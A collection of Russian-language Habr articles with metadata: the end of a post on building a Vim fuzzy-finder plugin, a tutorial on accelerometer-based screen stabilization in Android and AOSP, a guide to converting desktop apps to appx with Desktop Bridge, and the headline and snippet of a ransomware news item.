<S-Tab>, то vim выполнит действие, назначенное <Esc>, затем попытается интерпретировать остальные символы: для стрелки влево это будет вставка пустой строки вверху (O) и заглавного литерала "D" на этой же строке. Опция esckeys указывает на то, стоит ли ожидать поступления новых символов, если последовательность начинается с <Esc>, то есть с ^[ , в режиме ввода. Казалось бы, то, что надо, но работает только в том случае, если мы не меняем поведение <Esc>. - Здесь могла быть ваша шутка, дорогой пользователь IDE. Возможно, я что-то упустил, но не зря на различных ресурсах советуют не менять поведение этой клавиши. Если <S-Tab> не так и важен, то стрелочки неплохо бы забиндить на выбор следующего/предыдущего вхождения. Поэтому, вместо <Esc>, используем событие InsertLeave . Это влечет за собой новые проблемы. Как вызвать функцию, не выходя из режима ввода? Читая документацию, я наткнулся на один интересный момент — комбинацию <Ctrl-c>, которая выходит из режима вставки, не вызывая событие InsertLeave , но, что довольно странно, если <C-c> присутствует в маппинге, это не работает и InsertLeave таки всплывает. Бороздя по просторам интернета, было найдено решение, общий вид которого: inoremap <BS> <C-r>=expr<CR> Из документации следует, что это — expression register . Это именно то, что мне нужно было, за исключением того, что результат выражения вставлялся в буфер. Собственно на этом и построен весь плагин, поскольку все телодвижения происходят в режиме вставки. Дабы не возвращать в каждой функции пустую строку (если этого не сделать, функция вернет 0), я решил использовать посредника, который вызывает нужную функцию. function! finder#call(fn, ...) call call(a:fn, a:000) return "" endfunction Пространство имен a: отвечает за доступ к аргументам функции, а переменная a:000 содержит список необязательных параметров. Поскольку теперь стало возможным писать логику приложения не выходя из режима ввода, можно было бы воспользоваться опцией backspace . Однако, как я позже узнал, сброс значения этой опции приводил в негодование delimitMate , из — за чего тот не мог нормально функционировать, и я решил оставить эти попытки. Бэкенд Всего-то ничего и у нас уже есть пачка бесполезных пикселей. Самое время добавить немного жизни нашему буферу. Так как vim script сложно назвать быстрым языком или языком, на котором приятно писать что-то сложное, я решил бэкенд написать на D. Поскольку нечеткий поиск мне лень реализовывать не нужен, это будет поиск с учетом точного вхождения, и я решил, что буду посимвольно сравнивать исходную строку с запросом пользователя, посчитав, что так будет гораздо быстрее, нежели использование регулярных выражений. Учитывая то, что у меня фактически было 4 режима: ^query, query, query$, ^query$, код выглядел немного не привлекательным. Увидев, что я написал, появилось желание всё удалить и производить поиск регулярками. Через время я понял, что написанное можно сделать стандартными средствами Unix и решил вернуться к использованию grep , мысли о котором у меня появлялись с самого начала, но которые я отбрасывал ввиду наличия "сложной" логики. Сложность же была в том, что мне нужно было искать по имени файла, сортировать по длине пути файла и выводить не исходную строку, а её индекс. Стоит отметить, что Unix'овый grep оказался раза в 4 быстрее std.regex , что в D. Чтобы получить имя файла, можно воспользоваться программой basename , но, к сожалению, она не читает стандартный поток ввода и работает только непосредственно с параметрами. Можно также воспользоваться и sed 's!.*/!!' , которая обрежет все до последнего / . Подойдет и встроенная функция vim'a — fnamemodify . Сортировку я решил делать средствами vim'a, поскольку проще в плане реализации и создании собственных расширений. За сортировку отвечает функция sort , для которой потребуется написать comparator . Чтобы вывести индекс, можно воспользоваться флагом -n в grep , который выводит номер строки, формат которой n:line и распарсить которую не составляет труда. Мерцание курсора Вообще, это довольно ненавистная мною вещь. Мерцание курсора можно увидеть, выставив опцию incsearch . Просто попробуйте поискать что-нибудь в буфере и следите за курсором, пока печатаете. Если с изменением поведения <BS> всё ясно, то писать <expr> повсюду, как оказалось, нельзя. Этот флаг запрещает изменение каких-либо строк, отличных от той, на которой находится курсор. Поэтому для остальной логики используется вышеупомянутый expression register , который подобно : , убирает курсор с текущей позиции на время выполнения выражения. Поскольку поиск по нескольким тысячам файлам занимает какое-то время, возникает эффект мигания курсора при печатании каждого символа. Должен сказать, что неблокируемый vim подоспел весьма вовремя, а конкретно функция timer_start . Когда буфер стал отрисовываться асинхронно, проблема ушла. Не лучшее решение, должен сказать, но ничего более подходящего не нашел. Это единственная причина, почему плагин требует vim 8-ой версии. В третий раз проблема настигла, когда пришлось делать превью. Курсор мигал в тот момент, когда менялась позиция курсора в одном из буферов и происходила отрисовка экрана. Боюсь, тут без извращений в духе: "подсвечивать синтаксисом символ под курсором" не обойтись и я решил оставить подобные махинации до лучших времен. Заметаем следы Так как мы постоянно меняем содержимое буфера, tabline сообщит нам, что буфер изменен, а работа в режиме ввода будет сопровождаться соответствующей надписью слева внизу. Не знаю как вам, но мне нравится минималистичный дизайн, и подобные вещи я хотел бы убрать. Также, было бы неплохо скрывать ruler и statusline . Чтобы vim не отслеживал изменения в буфере, можно использовать опцию buftype . setlocal buftype=nofile Со статусной строкой, линейкой и надписью -- INSERT -- немного сложнее, поскольку опции, которые отвечают за их отображение, глобальны, а значит, нам нужно восстанавливать прежнее значение при выходе из буфера. Для этого удобно слушать событие OptionSet . set noshowmode set laststatus=0 set rulerformat=%0(%) redraw Вместо rulerformat можно было бы использовать noruler , но последний требует перерисовки экрана с предварительной очисткой (redraw!), что вызывает неприятный для глаза эффект. Синтаксис Здесь я хотел бы резюмировать наиболее важные моменты относительно синтаксиса, которые сыграли важную роль в работе плагина. Элемент Пример Описание \c \c.* Игнорировать регистр при поиске. .{-} .{-}p "Не жадный" аналог .* \zs , \ze .{-}\zsfoo\ze.* Начало и конец вхождения соответственно. \@= , \@<= \(hidden\)\@<=text Так называемые zero-width atoms — вырезают предыдущий атом из вхождения. \%l \%1l Поиск на определенной строке. \& p1\&p2\&.. Оператор конъюнкции. Basename Поскольку мы работаем с именем файла, нам нужно задать регион, ограничивающий подсветку вхождения. \(^\|\%(\/\)\@<=\)[^\/]\+$ config/ foobar.php foobar.php Теперь необходимо подсветить нужные символы. Для этих целей можно воспользоваться оператором конъюнкции \& (:help branch). \(^\|\%(\/\)\@<=\)[^\/]\+$\&.\{-}f config/ f oobar.php f oobar.php Совет : так как это обычный pattern (:help pattern), то можно тестировать всё в отдельном буфере, нажав / . Комментарии В fzf есть полезная визуальная фича — наличие текста, который не влияет на результаты поиска, то есть комментарии. Поначалу я хотел использовать какой-то невидимый Unicode символ для обозначения начала комментария (пробел, по понятным причинам, не подходит), но позже наткнулся на полезное свойство для группы синтаксиса — conceal . Если вкратце, conceal скрывает любой текст, оставляя его в буфере. За поведение conceal отвечают две опции: conceallevel и concealcursor . При определенной настройке текст может и не скрываться, так что советую с ними ознакомиться. В моём плагине строки имеют следующий вид: text#finderendline... где ... — необязательный комментарий, а #finderendline — скрывается. Пример скрытого текста: syntax match hidden /pattern/ conceal Прокрутка Работа плагина в режиме ввода доставляет немало проблем, одна из которых — прокрутка. Поскольку курсор нужен в месте ввода запроса, двигать его, чтобы подсветить нужную строку, мы не можем. Для того, чтобы перемещаться по результатам поиска, можно использовать синтаксис, создав соответствующую группу. Ordinary atom \%l подходит как нельзя лучше. К примеру, \^%2l.*$ выделит вторую строку. Мой экран вмещает 63 строки текста, и, так как вхождений может быть намного больше, возникает вопрос, как добраться до 64-ой и последующих строк. Поскольку в видимой части экрана всегда должны находиться шапка и строка запроса, при приближении к концу экрана, мы будем вырезать (помещать во временный массив) первое (второе, третье, ...) вхождение до тех пор, пока не дойдем до конца. При движении вверх — всё с точностью до наоборот. Резюме Наличием данной статьи vim как бы намекает — нужно было использовать input , однако, когда всё уже позади, я рад, что пошёл нестандартным путем, и получил столь ценный опыт. На этом всё, информацию по установке, использованию и созданию собственных расширений можно найти в репозитории . Полезные мелочи Получив определенную базу после написания плагина, захотелось немного упростить себе жизнь. Выход из режима вставки Те, кто читал мою предыдущую статью , знают, что ранее я использовал sublime для редактирования текста и кода. Есть существенные отличия между sublime и vim в том, как они обрабатывают комбинации клавиш. Если sublime, при вводе комбинации, вставляет текст без задержки, то vim сперва ожидает определенное время, и лишь после вставляет нужный символ, если комбинация "обрывается". С самого начала использования vim-mode в целом и vim'а в частности, я использовал df для выхода из режима вставки. Это настолько вошло в привычку, что любые попытки переучивания на jj , например, не давали успеха. Каждый раз, печатая d и символ, отличный от f , я наблюдал неприятный рывок. Я решил повторить поведение из sublime. let g:lastInsertedChar = '' function! LeaveInsertMode() let reltime = reltime() let timePressed = reltime[0] * 1000 + reltime[1] / 1000 if(g:lastInsertedChar == 'd' && v:char == 'f' && timePressed - g:lastTimePressed < 500) let v:char = '' call feedkeys("\<Esc>x") endif let g:lastInsertedChar = v:char let g:lastTimePressed = timePressed endfunction autocmd InsertCharPre * call LeaveInsertMode() Может это и не лучший код, но свою задачу он выполняет. Суть в следующем: после нажатия d , у нас есть пол секунды, чтобы нажать f . Если последнее истинно, f не печатается, а d удаляется из буфера. После чего редактор переходит в нормальный режим. Read-only files Остальным незначительным дополнением будет запрет на редактирование определенных файлов. function! PHPVendorFiles() let path = expand("%:p") if(stridx(path, "/vendor/") != -1) setlocal nomodifiable endif endfunction autocmd Filetype php call PHPVendorFiles() Данный код запрещает редактирование .php файла, если он находится в директории vendor . Постскриптум Список изменений моего окружения с момента публикации первой статьи. Перешел на XTerm , который по ощущению, раза в 2 быстрее gnome-terminal . Airline удален за ненадобностью. NERD Tree удален в пользу стандартного netrw . Vundle удален в пользу многопоточного vim-plug . CtrlP удален в пользу Finder . Tagbar сломался удален в пользу Finder .
https://habrahabr.ru/post/316752/
habrahabr
Стабилизация экрана в Android
['android aosp screen stabilization']
Пробовали ли Вы читать книгу или статью вроде этой в автобусе или идя по улице? Могу поспорить пробовали! В этом случае Вы должны были заметить что чтение текста таким образом является не...
Пробовали ли Вы читать книгу или статью вроде этой в автобусе или идя по улице? Могу поспорить пробовали! В этом случае Вы должны были заметить что чтение текста таким образом является не лучшей идеей из-за постоянной тряски. Похоже что тряска экрана является достаточно серьезной проблемой и устранение ее может дать очень хорошее улучшение UX. Моя идея состоит в том, чтоб использовать датчики ускорения для компенсации тряски так-же как зеркальные камеры стабилизируют сенсор или линзы. Технически это возможно так что почему бы не попробовать сделать это самому! Существующие решения Для начала давайте посмотрим на существующие решения. В Сети есть несколько интересных статей на такую-же тематику. NoShake: Content Stabilization for Shaking Screens of Mobile Devices от Lin Zhong, Ahmad Rahmati и Clayton Shepard об стабилизации экрана для iPhone (3) опубликованная в 2009 г. Статья подытоживает что стабилизация экрана работает и дает заметные результаты, но алгоритм потребляет “в среднем 30% мощности у 620 МГц ARM процессора”. Это делает эту реализацию непрактичной для реального применения. И хотя современные айфоны могут легко справится с данной задачей авторы не предоставили ни исходников ни собранного приложения чтоб можно было попробовать это в деле. Walking with your Smartphone: Stabilizing Screen Content от Kevin Jeisy. Эта статься была опубликована в 2014 и имеет хорошее математическое обоснование. Статья подытоживает что «используя скрытую марковскую модель мы получили хорошую стабилизацию в теории». К сожалению не предоставлено ни исходные кодов, ни собранного приложения, так что посмотреть не получится. Shake-Free Screen . Исследуется тот же самый вопрос, но нету готовых результатов чтоб попробовать. Эти статьи дают хорошее объяснение темы нашей статьи но к сожалению не дают ни исходных кодов, ни скомпилированных приложений чтоб посмотреть на это в живую. Давайте попробуем изобрести колесо заново и реализуем стабилизацию экрана по своему. Теория Датчик ускорения может быть использован для определения перемещения устройства. Но судя по названию этот датчик предназначен все таки для определения ускорения. Чтоб ответить на вопрос «как определить перемещение имея ускорение», давайте посмотрим на устройства с датчиками: Как видно там есть есть три оси, соответственно датчик дает три значения на выходе. Технически датчик состоит из трех датчиков расположенных по разным осям, но давайте воспринимать его как единое целое. Три значения на выходе обозначают ускорение вдоль соответствующей оси: Ускорение меряется в “м/с2”. Как можно видеть там есть некоторое ускорение вдоль оси Y. На самом деле это ускорение свободного падения и любой поворот устройства изменит все три значения: Вы можете представить себе его как шар привязанный к устройству веревкой. Это достаточно хорошее объяснение так как если замените шар стрелкой, то получите вектор ускорения. Хорошо, но что насчет определения перемещения? Я не могу показать какой-то наглядный пример, но если Вы немного переместите устройство, то вектор изменится: на самом деле он будет состоять из двух векторов: 1) вектор земного притяжения как и раньше; 2) вектор ускорения устройства из-за перемещения вдоль соответствующих осей. Самое интересное для нас это «чистый» вектор перемещения. Его достаточно просто просто получить путем вычитания вектора земного притяжения из результирующего вектора, но как определить истинный вектор земного притяжения? Эта задача может быть решена разными путями, но к счастью Андроид имеет специальный датчик линейного ускорения который делает как раз то, что нам нужно. В нормальных условиях выходные значения у датчика 0, и только перемещая устройство можно получить не нулевые значения. Здесь его исходный код если интересно. Мы на один шаг ближе к определению перемещения устройства. Давайте начнем программировать что нибудь. Реализация Чтоб найти как высчитать перемещение устройства давайте разработаем одно простое приложение с одной активити. Это приложение будет мониторить изменение ускорения и двигать специальный вью элемент соответствующим образом. Также оно будет показывать «сырые» значения ускорения на графике: Я покажу только ключевые примеры кода. Полностью весь код есть в GIT репозитории. Ключевые вещи следующие: 1. Специальный элемент который мы будем двигать. Это синий блок с текстом внутри контейнера: <FrameLayout android:layout_width="match_parent" android:layout_height="match_parent" android:layout_above="@id/graph1" android:background="@drawable/dots_repeat_bg" android:clipChildren="false"> <LinearLayout android:id="@+id/layout_sensor" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_margin="20dp" android:orientation="vertical" android:background="#5050FF"> <ImageView android:id="@+id/img_test" android:layout_width="wrap_content" android:layout_height="wrap_content" android:src="@mipmap/ic_launcher"/> <TextView android:id="@+id/txt_test" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/img_test" android:textSize="15sp" android:text="@string/test"/> </LinearLayout> </FrameLayout> Для перемещения layout_sensor мы будем использовать методы View.setTranslationX и View.setTranslationY . Также подпишемся на событие нажатия на какой-либо элемент для сброса внутренних значений в 0 потому что на первых порах они могут быть очень непослушными: private void reset() { position[0] = position[1] = position[2] = 0; velocity[0] = velocity[1] = velocity[2] = 0; timestamp = 0; layoutSensor.setTranslationX(0); layoutSensor.setTranslationY(0); } 2. Подпишемся на события датчика ускорения: sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE); accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_LINEAR_ACCELERATION); sensorManager.registerListener(sensorEventListener, accelerometer, SensorManager.SENSOR_DELAY_FASTEST); 3. И самое главное: слушатель изменений. Его базовая реализация: private final float[] velocity = new float[3]; private final float[] position = new float[3]; private long timestamp = 0; private final SensorEventListener sensorEventListener = new SensorEventListener() { @Override public void onAccuracyChanged(Sensor sensor, int accuracy) {} @Override public void onSensorChanged(SensorEvent event) { if (timestamp != 0) { float dt = (event.timestamp - timestamp) * Constants.NS2S; for(int index = 0; index < 3; ++index) { velocity[index] += event.values[index] * dt; position[index] += velocity[index] * dt * 10000; } } else { velocity[0] = velocity[1] = velocity[2] = 0f; position[0] = position[1] = position[2] = 0f; } } }; Давайте разберемся что здесь происходит. Метод onSensorChanged вызывается каждый раз когда значение ускорения изменяется (прим. переводчика: ну на самом деле он вызывается по таймеру не зависимо от того какие значения ускорения). Первым делом вы проверяем инициализирована ли переменная timestamp. В этом случае мы просто инициализируем основные переменные. В случае если метод вызван повторно, мы производим вычисления использую следующую формулу: deltaT = time() - lastTime; velocity += acceleration * deltaT; position += velocity * deltaT; lastTime = time(); Вы должны были заметить интересную константу 10000. Воспринимайте ее как некое магическое число. И результат: Как видно текущая реализация имеет две проблемы: Дрифтинг и уползание значений Контрольный элемент не возвращается в 0 На самом деле решение для обоих проблем есть общее — нужно ввести в формулу торможение. Измененная формула выглядит так: deltaT = time() - lastTime; velocity += acceleration * deltaT - VEL_FRICTION * velocity; position += velocity * deltaT - POS_FRICTION * position; lastTime = time(); Хорошо. Текущая реализация выглядит неплохо. Я бы добавил некоторые косметические улучшения типа низкочастотного фильтра для сглаживания, отрезание недопустимых значений и настройки программы. Готовое приложение находится в репозитории в ветке “standalone_app”. AOSP Мы разработали базовый алгоритм стабилизации и сделали демонстрационное приложение которое показывает, что стабилизация экрана возможна. Теперь мы можем применить нашу работу к устройству в целом. Это непростая задача, но тем интереснее будет ее решать. Эта задача требует некоторого опыта в сборке AOSP . Google предоставляет всю необходимую документацию . В общем нужно скачать исходные коды Андроид для выбранного Nexus устройства. Собрать прошивку для Nexus и прошить ее. Не забывайте включить все необходимые драйвера перед сборкой. Как только получится собрать стоковую прошивку, можно приступать к разработке и интеграции стабилизации экрана. План реализации следующий: Найти способ смещения экрана в устройстве Разработать API во внутренностях AOSP чтоб дать возможность задавать смещение в стандартном Андроид приложении Разработать службу в демо приложении которая будет обрабатывать данные с датчика ускорения и задавать смещение используя API выше. Служба будет запускаться автоматически при включении устройства так что стабилизация будет работать сразу после включения Сейчас я просто расскажу как я решил эти задачи. 1. Первый файл для исследования DisplayDevice.cpp который контролирует параметры экрана. Метод на который нужно смотреть void DisplayDevice::setProjection(int orientation, const Rect& newViewport, const Rect& newFrame). Самое интересное находится в строке 483: где финальная матрица преобразований образуется из других компонентов. Все эти переменные являются экземплярами класса Transform . Этот класс предназначен для обработки преобразований и имеет несколько перегруженных операторов (например *). Чтоб добавить сдвиг добавим новый элемент: Если Вы скомпилируете и прошьете Ваше устройство, экран там будет смещен на translateX пикселей по горизонтали и translateY пикселей по вертикали. В конечном итоге нам нужно добавить новый метод void setTranslate(int x, int y); который будет отвечать за матрицу сдвига. 2. Второй интересный файл SurfaceFlinger.cpp . Этот файл есть ключевым в создании API для доступа к параметрам экрана. Просто добавим новый метод: который будет вызывать метод setTranslate для всех дисплеев. Другая часть выглядит немного странной, но я объясню это позже. Нам нужно модифицировать метод status_t SurfaceFlinger::onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags) добавив новую секцию в конструкцию switch: Этот код является точкой входа в наше улучшение. 3. Служба обработки данных достаточно простая: она использует алгоритм разработанный ранее для получения значений смещения. Дальше эти значения через IPC передаются в SurfaceFlinger: ServiceManager не распознается Android Studio потому что он недоступен для не системных приложений. Системные приложения должны собираться вместе с AOSP с помощью системы сборки makefile. Это позволит нашему приложению получить необходимые права доступа в скрытым API Андроид. Чтоб получить доступ к службе SurfaceFlinger приложение должно обладать правами “android.permission.ACCESS_SURFACE_FLINGER”. Эти права могут иметь только системные приложения (см. далее). Чтоб иметь право вызывать наше API с кодом 2020, приложение должно иметь правами “android.permission.HARDWARE_TEST”. Эти права также могут иметь только системные приложения. И что в конце концов сделать наше приложение системным, модифицируйте его манифест следующим образом: Также создаете соответствующий makefile: Остальные вещи в приложении (broadcast receiver загрузки, настройки, другое) достаточно стандартные и я не буду из касаться здесь. Осталась показать как сделать это приложение предустановленным (т.е. вшитым в прошивку). Просто разместите исходный код в каталоге {aosp}/packages/apps и измените файл core.mk так чтоб он включал наше приложение: Финальная демонстрация: Вы можете найти детальную информацию и исходный код на GitHub Там есть приложение ScreenStabilization которое должно быть размещено в каталоге {aosp}/packages/apps , AOSP патч-файлы: 0001-ScreenStabilization-application-added.patch должен быть применен к каталогу {aosp}/build , 0001-Translate-methods-added.patch должен быть применен к каталогу {aosp}/frameworks/native . Прошивка для Nexus 2013 Mobile собрана в конфигурации “ userdebug ” так что она больше подходит для тестирования. Чтоб прошить прошивку загрузитесь в режим загружчика удерживая кнопку “volume down” и нажимая кнопку “power” одновременно. Дальше введите: fastboot -w update aosp_deb_screen_stabilization.zip Эта процедура удалит все существующие данные на Вашем устройстве. Имейте ввиду что для того чтоб прошить любую нестандартную прошивку Вы должны разблокировать загружчик командой: fastboot oem unlock Заключение Эта статья показывает как реализовать простой алгоритм стабилизации экрана и применить его ко всему устройству путем модификации исходных кодов Андроид и сборки пользовательской прошивки. Алгоритм не идеальный но достаточный для целей демонстрации. Мы создали модифицированную прошивку для устройства Nexus 2013 Mobile, но наш исходный код может быть применен к любому Nexus устройству и даже к любой AOSP системе типа CyanogenMod что делает возможным интеграцию стабилизации экрана в новые устройства. P.S. На самом деле я также являюсь и автором оригинальной англоязычной версии статьи, которая была опубликована на blog.lemberg.co.uk , так что могу ответить на технические вопросы.
https://habrahabr.ru/post/317462/
habrahabr
Конвертируем десктопное приложение в appx с помощью Desktop Bridge
['centennial', 'bridge', 'desktop', 'appx', 'converter', 'конвертация', 'uwp']
С выходом Visual Studio 2017 должна появиться возможность конвертировать существующие .NET/Win32 проекты в Windows Store приложения более комфортным образом. Впрочем, сейчас для создания appx...
С выходом Visual Studio 2017 должна появиться возможность конвертировать существующие .NET/Win32 проекты в Windows Store приложения более комфортным образом. Впрочем, сейчас для создания appx пакета из .NET приложения совсем не обязательно устанавливать 2017-ую студию. Достаточно установленного пакета SDK для Windows 10 и Visual Studio 2015 с Developer Command Prompt. Что радует, так это то, что после Anniversary Update уже не обязательно скачивать образ десятки и производить установку какого-то стороннего софта, если у вас есть исходный код проекта или исполняемый файл. Предлагаю создать из .NET приложения appx пакет с помощью Desktop Bridge (ex. Project Centennial) . Как это можно сделать сейчас Создаем корневую директорию с названием, допустим, WPF2UWPApp. Пусть название вас не смущает, конвертировать можно не только WPF приложения, но и WinForms, Win32 и даже VB6. В эту папку копируем исполняемый файл приложения и все необходимые библиотеки. Далее внутри папки создаем файл AppxManifest.xml с подобным содержимым внутри: Содержимое моего файла AppxManifest.xml <?xml version="1.0" encoding="utf-8"?> <Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10" xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10" xmlns:rescap="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities"> <Identity Name="WPF2UWPApp" ProcessorArchitecture="x86" Publisher="CN=AlexejSommer" Version="1.0.0.0" /> <Properties> <DisplayName>Simple WPF UWP App</DisplayName> <PublisherDisplayName>Alexej Sommer</PublisherDisplayName> <Description>Simple converted from WPF to UWP application</Description> <Logo>Assets\SampleAppx.150x150.png</Logo> </Properties> <Resources> <Resource Language="en-us" /> </Resources> <Dependencies> <TargetDeviceFamily Name="Windows.Desktop" MinVersion="10.0.14393.0" MaxVersionTested="10.0.14393.0" /> </Dependencies> <Capabilities> <rescap:Capability Name="runFullTrust"/> </Capabilities> <Applications> <Application Id="WPF2UWPApp" Executable="DemoWPFApp.exe" EntryPoint="Windows.FullTrustApplication"> <uap:VisualElements BackgroundColor="#464646" DisplayName="Simple WPF UWP App" Square150x150Logo="Assets\SampleAppx.150x150.png" Square44x44Logo="Assets\SampleAppx.44x44.png" Description="Simple converted from WPF to UWP application" > <uap:DefaultTile Wide310x150Logo="Assets\Wide310x150Logo.png"/> </uap:VisualElements> </Application> </Applications> </Package> В манифесте мы используем минимальный набор логотипов. 3 файла SampleAppx.44x44.png, SampleAppx.150x150.png и Wide310x150Logo.png с соответствующими названиям разрешениями должны быть расположены внутри вложенной директории Assets. Я не собираюсь публиковать это приложение в Store, поэтому в качестве CN издателя указал произвольное значение, а не привязанное к моему аккаунту в Store. Как вы могли заметить я сейчас не инсайдер и использую последний стабильный билд десятки — 10.0.14393.0 Еще раз структура: Внутри корневой директории находится файл манифеста AppxManifest.xml, файл приложения (в моем случае это файл DemoWPFApp.exe) и другие вспомогательные файлы и библиотеки. Кроме того, внутри находится папка Assets с файлами логотипов. Как минимум это файлы SampleAppx.44x44.png, SampleAppx.150x150.png и Wide310x150Logo.png. После создания структуры и редактирования содержимого файла AppxManifest.xml можно приступать к созданию пакета приложения. Перед созданием пакета можно протестировать правильность манифеста и прилагаемых файлов, совершив установку приложения в качестве универсального, использовав его манифест. Для тестовой установки открываем PowerShell и выполняем команду (находясь в той же директории, в которой находится и файл AppxManifest) Add-AppxPackage -Register ".\AppxManifest.xml" Параметр -Register регистрирует приложение в режиме разработки. Для того чтобы зарегистрировать готовое приложение необходимо использовать еще дополнительно и параметр –DisableDevelopmentMode. Приложение будет установлено так, как будто оно было установлено из готового appx пакета или скачано из Store. Ссылка на него даже появится в меню «Пуск». Подобное тестирование особенно удобно, если вы добавляете какой-то функционал UWP в .NET приложение и хотите сразу же его протестировать. Вернемся к упаковке приложения в appx. Для этого открываем Developer Command Prompt. Выполняем следующую команду, которая создает appx файл: makeappx pack -d "D:\WPF2UWPApp" -p "D:\WPF2UWPApp\WPF2UWPApp.appx" Копируем файл сертификата из готового проекта или создаем тестовый сертификат как это описывается здесь: Sign an app converted with the Desktop Bridge Утилита MakeCert находится внутри папки bin SDK. На моей машине это C:\Program Files (x86)\Windows Kits\10\bin\x64 Синтаксис команды таков: MakeCert.exe -r -h 0 -n "CN=<publisher_name>" -eku 1.3.6.1.5.5.7.3.3 -pe -sv <my.pvk> <my.cer> Имя publisher CN в манифесте должно соответствовать имени в сертификате. Параметр –eku 1.3.6.1.5.5.7.3.3 это enhanced key usage object identifier (OID), который используется для подписи кода (szOID_PKIX_KP_CODE_SIGNING). Подробную информацию о параметрах MakeCert вы можете найти на ее MSDN страничке . Там же присутствует информация о том, что утилита устарела и вместо нее сейчас рекомендуется использовать PowerShell командлет под названием New-SelfSignedCertificate. Однако, даже в последних примерах использования Desktop Bridge все еще используется MakeCert. В моем случае команда такая: MakeCert.exe -r -h 0 -n "CN=AlexejSommer" -eku 1.3.6.1.5.5.7.3.3 -pe -sv alexkey.pvk alexkey.cer Еще раз обратите внимание, что CN точно такой же, как и в манифесте. В случае запроса пароля можно ввести его или же нажать None. Официальная документация предлагает не использовать пароль. Далее перемещаем и публичный и приватный ключ в сертификат: pvk2pfx.exe -pvk alexkey.pvk -spc alexkey.cer -pfx alexcert.pfx Теперь с помощью SignTool можно подписать сертификатом наш пакет appx. Оба файла (alexcert.pfx и WPF2UWPApp.appx) должны находится в текущей папке: signtool.exe sign /a /v /fd SHA256 /f "alexcert.pfx" "WPF2UWPApp.appx" Если вы решили использовать пароль, то добавится параметр /p signtool.exe sign /a /v /fd SHA256 /f "alexcert.pfx" /p "<пароль>" "WPF2UWPApp.appx" Если вы сейчас поспешите и попробуете установить appx, то скорее всего при установке вы получите сообщение об ошибке: Вам необходимо либо установить новый сертификат для этого пакета приложения, либо новый пакет приложения с доверенными сертификатами. Ваш системный администратор или разработчик приложения может помочь в этом. Цепочка сертификатов обработана, но завершена в корневом сертификате, который не является доверенным (0x800B0109) Дело в том, что: Чтобы ОС Windows считала сертификат доверенным, сертификат должен располагаться в узле Сертификаты (локальный компьютер) > Доверенные корневые центры сертификации > Сертификаты или Сертификаты (локальный компьютер) > Доверенные лица > Сертификаты . А значит перед установкой приложения необходимо установить сертификат. Двойным кликом на сертификате устанавливаем его в хранилище локального компьютера Как установить сертификат в картинках После установки сертификата можно установить и само приложение, кликнув на appx файл Лампочка на скриншоте — это логотип моего демо приложения. Как это можно будет сделать в Visual Studio 2017 На данный момент Visual Studio 2017 находится в стадии Release Candidate. Для автоматического создания пакета appx необходимо установить расширение Desktop to UWP Packaging Project Открываем существующий проект. Добавляем в решение следующий тип проекта: Создаем папку PackageLayout. Внутри нее создаем папку Assets. В папку PackageLayout добавляем файл манифеста AppxManifest.xml (файл пока что необходимо создавать вручную). В Assets копируем файлы SampleAppx.44x44.png, SampleAppx.150x150.png и Wide310x150Logo.png. Не забываем, что необходимо не только скопировать файлы, но и добавить их в проект Visual Studio. Структура нашего решения получится такой: В свойствах проекта указываем папку PackageLayout. Если вы все сделали верно, то у вас в поле Start Up Tile появится возможность выбрать из выпадающего списка тайл. Теперь давайте рассмотрим содержимое файла AppXPackageFileList.xml. По умолчанию оно такое: <?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <!-- <PropertyGroup> <MyProjectOutputPath>C:\MyProject\MyProject\bin</MyProjectOutputPath> </PropertyGroup> <ItemGroup> <LayoutFile Include="$(MyProjectOutputPath)\x86\Debug\MyProject.exe"> <PackagePath>$(PackageLayout)\MyProject.exe</PackagePath> </LayoutFile> </ItemGroup> --> </Project> А в результате правок получится что-то вот такое: <?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <MyProjectOutputPath>$(PackageLayout)\..\..\DemoWPFApp\bin</MyProjectOutputPath> </PropertyGroup> <ItemGroup> <LayoutFile Include="$(MyProjectOutputPath)\Debug\DemoWPFApp.exe"> <PackagePath>$(PackageLayout)\DemoWPFApp.exe</PackagePath> </LayoutFile> </ItemGroup> </Project> Здесь в качестве MyProjectOutputPath установлена директория из которой будут взяты файлы .NET приложения. Поднявшись на два уровня вверх (именно это означает \..\..\) от PackageLayout находится директория DemoWPFApp внутри которой директория bin. То есть взята папка из второго проекта решения. Теперь достаточно назначить проект Desktop to UWP Packaging автозагружаемым, запустить проект на выполнение F5 и… на выходе мы должны получить appx. Но пока что не работает. TBD. Ждем релиза. Как вы можете видеть часть ручной работы пока что все еще осталась. Все еще необходимо создавать вручную структуру директорий, создавать манифест и изменять файл AppXPackageFileList. Надеюсь, что в релизе все это автоматизируется. Аналогичный англоязычный артикул: Desktop Bridge – Manually converting a desktop application Альтернативы Microsoft активно работает с партнерами для того, чтобы была возможность одновременного создания как msi, так и appx инсталляторов. Больше информации вы можете найти по следующим ссылкам: » FireGiant WIX toolset extensions » Flexera Software’s InstallShield » Advanced Installer » InstallAware APPX Builder Кроме того, Embarcadero объявила о поддержке Desktop Bridge в своей Embarcadero RAD Studio. Зачем это нужно? Приведу несколько очевидных вариантов: 1. Публикация приложения в Store. 2. Application Lifecycle. Универсальные приложения можно устанавливать и удалять множество раз, не опасаясь что они оставят после себя какой-либо мусор. 3. Возможность добавления в .NET приложение функционала, доступного для UWP приложений. 4. Дистрибуция и тестирование через портал устройств . Ops-ы скажут вам спасибо.
https://habrahabr.ru/post/316490/
habrahabr
Зарази ПК двух друзей и получи ключ разблокировки собственного компьютера: новая схема работы криптовымогателя
['ransomware', 'криптовымогатели', 'файлы', 'широфание данных']
Ransomware в последнее время становится все более распространенной разновидностью зловредного ПО. Речь идет о программах-криптовымогателях, которые, заражая компьютер пользователя, шифруют все...
